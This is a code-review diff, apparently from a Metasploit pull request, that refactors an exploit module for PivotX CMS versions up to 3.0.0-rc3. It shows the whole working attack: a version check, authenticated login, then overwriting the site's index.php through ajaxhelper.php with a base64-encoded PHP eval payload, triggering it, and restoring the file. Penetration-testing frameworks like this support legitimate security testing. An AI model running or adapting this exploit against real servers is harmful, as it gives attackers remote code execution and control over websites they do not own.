6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
7
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
8
8
9
- include Exploit ::Remote ::Tcp
10
9
include Exploit ::Remote ::HttpClient
10
+ prepend Msf ::Exploit ::Remote ::AutoCheck
11
11
12
12
def initialize ( info = { } )
13
13
super (
@@ -56,62 +56,59 @@ def initialize(info = {})
56
56
def check
57
57
res = send_request_cgi ( {
58
58
'method' => 'GET' ,
59
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'pivotx' , 'index.php' )
59
+ 'uri' => normalize_uri ( target_uri . path , 'pivotx' , 'index.php' )
60
60
} )
61
61
62
- return Exploit ::CheckCode ::Unknown , 'Unexpected response' unless res &.code == 200
62
+ return Msf :: Exploit ::CheckCode ::Unknown ( 'Unexpected response' ) unless res &.code == 200
63
63
64
- return Exploit ::CheckCode ::Safe , 'Target is not PivotX' unless res . body . include? ( 'PivotX Powered' )
64
+ return Msf :: Exploit ::CheckCode ::Safe ( 'Target is not PivotX' ) unless res . body . include? ( 'PivotX Powered' )
65
65
66
66
html_body = res . get_html_document
67
67
68
- return Exploit ::CheckCode ::Unknown , 'Could not find version element' unless html_body . search ( 'em' ) . find { |i | i . text =~ /PivotX - (\d .\d \d ?.\d \d ?-[a-z0-9]+)/ }
68
+ return Msf :: Exploit ::CheckCode ::Unknown ( 'Could not find version element' ) unless html_body . search ( 'em' ) . find { |i | i . text =~ /PivotX - (\d .\d \d ?.\d \d ?-[a-z0-9]+)/ }
69
69
70
70
version = Rex ::Version . new ( Regexp . last_match ( 1 ) )
71
71
72
- return Exploit ::CheckCode ::Appears , "Detected PivotX #{ version } " if version <= Rex ::Version . new ( '3.0.0-rc3' )
72
+ return Msf :: Exploit ::CheckCode ::Appears ( "Detected PivotX #{ version } " ) if version <= Rex ::Version . new ( '3.0.0-rc3' )
73
73
74
- return Exploit ::CheckCode ::Safe , "PivotX #{ version } is not vulnerable"
74
+ return Msf :: Exploit ::CheckCode ::Safe ( "PivotX #{ version } is not vulnerable" )
75
75
end
76
76
77
77
def login
78
78
boundary = Rex ::Text . rand_text_alphanumeric ( 16 ) . to_s
79
- data_post = "------WebKitFormBoundary#{ boundary } \r \n "
80
79
80
+ data_post = "------WebKitFormBoundary#{ boundary } \r \n "
81
81
data_post << "Content-Disposition: form-data; name=\" returnto\" \r \n \r \n "
82
82
data_post << "\r \n "
83
83
data_post << "------WebKitFormBoundary#{ boundary } \r \n "
84
-
85
84
data_post << "Content-Disposition: form-data; name=\" template\" \r \n \r \n "
86
85
data_post << "\r \n "
87
86
data_post << "------WebKitFormBoundary#{ boundary } \r \n "
88
-
89
87
data_post << "Content-Disposition: form-data; name=\" username\" \r \n \r \n "
90
88
data_post << "#{ datastore [ 'USERNAME' ] } \r \n "
91
89
data_post << "------WebKitFormBoundary#{ boundary } \r \n "
92
-
93
90
data_post << "Content-Disposition: form-data; name=\" password\" \r \n \r \n "
94
91
data_post << "#{ datastore [ 'PASSWORD' ] } \r \n "
95
92
data_post << "------WebKitFormBoundary#{ boundary } \r \n "
96
93
97
- res = send_request_cgi ( {
94
+ res = send_request_cgi! ( {
98
95
'method' => 'POST' ,
99
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'pivotx' , 'index.php' ) ,
96
+ 'uri' => normalize_uri ( target_uri . path , 'pivotx' , 'index.php' ) ,
100
97
'vars_get' => { 'page' => 'login' } ,
101
98
'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{ boundary } " ,
102
99
'data' => data_post ,
103
100
'keep_cookies' => true
104
101
} )
105
102
106
- fail_with Failure ::NoAccess , 'Login failed, probably incorrect credentials' unless res &.code == 200 && res . body . include? ( 'Dashboard' ) && res . get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
103
+ fail_with Failure ::NoAccess , 'Login failed, probably incorrect credentials' unless res &.code == 200 && res . body . include? ( 'Dashboard' ) && ! res . body . include? ( 'Incorrect username/password' ) && res . get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
107
104
108
105
@csrf_token = Regexp . last_match ( 1 )
109
106
end
110
107
111
108
def modify_file
112
109
res = send_request_cgi ( {
113
110
'method' => 'GET' ,
114
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'pivotx' , 'index.php' ) ,
111
+ 'uri' => normalize_uri ( target_uri . path , 'pivotx' , 'index.php' ) ,
115
112
'vars_get' => { 'page' => 'homeexplore' }
116
113
} )
117
114
@@ -121,7 +118,7 @@ def modify_file
121
118
122
119
res = send_request_cgi ( {
123
120
'method' => 'GET' ,
124
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'pivotx' , 'ajaxhelper.php' ) ,
121
+ 'uri' => normalize_uri ( target_uri . path , 'pivotx' , 'ajaxhelper.php' ) ,
125
122
'vars_get' => { 'function' => 'view' , 'basedir' => @base_dir , 'file' => 'index.php' }
126
123
} )
127
124
@@ -133,7 +130,7 @@ def modify_file
133
130
134
131
res = send_request_cgi ( {
135
132
'method' => 'POST' ,
136
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'pivotx' , 'ajaxhelper.php' ) ,
133
+ 'uri' => normalize_uri ( target_uri . path , 'pivotx' , 'ajaxhelper.php' ) ,
137
134
'vars_post' => { 'csrfcheck' => @csrf_token , 'function' => 'save' , 'basedir' => @base_dir , 'file' => 'index.php' , 'contents' => "<?php eval(base64_decode('#{ Base64 . strict_encode64 ( payload . encoded ) } ')); ?> #{ @original_value } " }
138
135
} )
139
136
@@ -143,14 +140,14 @@ def modify_file
143
140
def trigger_payload
144
141
send_request_cgi ( {
145
142
'method' => 'POST' ,
146
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'index.php' )
143
+ 'uri' => normalize_uri ( target_uri . path , 'index.php' )
147
144
} )
148
145
end
149
146
150
147
def restore
151
148
res = send_request_cgi ( {
152
149
'method' => 'POST' ,
153
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'pivotx' , 'ajaxhelper.php' ) ,
150
+ 'uri' => normalize_uri ( target_uri . path , 'pivotx' , 'ajaxhelper.php' ) ,
154
151
'vars_post' => { 'csrfcheck' => @csrf_token , 'function' => 'save' , 'basedir' => @base_dir , 'file' => 'index.php' , 'contents' => @original_value }
155
152
} )
156
153
vprint_status ( 'Restoring original content' )
0 commit comments